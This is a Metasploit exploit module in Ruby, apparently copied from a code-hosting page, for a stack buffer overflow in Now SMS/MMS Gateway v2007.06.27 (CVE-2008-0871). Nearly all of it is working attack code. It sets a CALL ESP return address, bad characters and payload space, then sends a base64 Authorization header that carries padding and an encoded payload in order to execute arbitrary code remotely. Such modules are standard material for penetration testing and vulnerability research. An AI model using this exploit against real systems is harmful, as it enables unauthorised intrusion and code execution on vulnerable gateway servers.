71 lines
1.9 KiB
Ruby
71 lines
1.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Now SMS/MMS Gateway Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
|
|
By sending a specially crafted GET request, an attacker may be able to execute
|
|
arbitrary code.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-0871' ],
|
|
[ 'OSVDB', '42953'],
|
|
[ 'BID', '27896' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 0x94,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Feb 19 2008'))
|
|
|
|
register_options( [ Opt::RPORT(8800) ], self.class )
|
|
end
|
|
|
|
def exploit
|
|
c = connect
|
|
|
|
data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
res = send_request_raw({
|
|
'uri' => '/',
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"
|
|
}
|
|
}, 5)
|
|
|
|
handler
|
|
end
|
|
|
|
end
|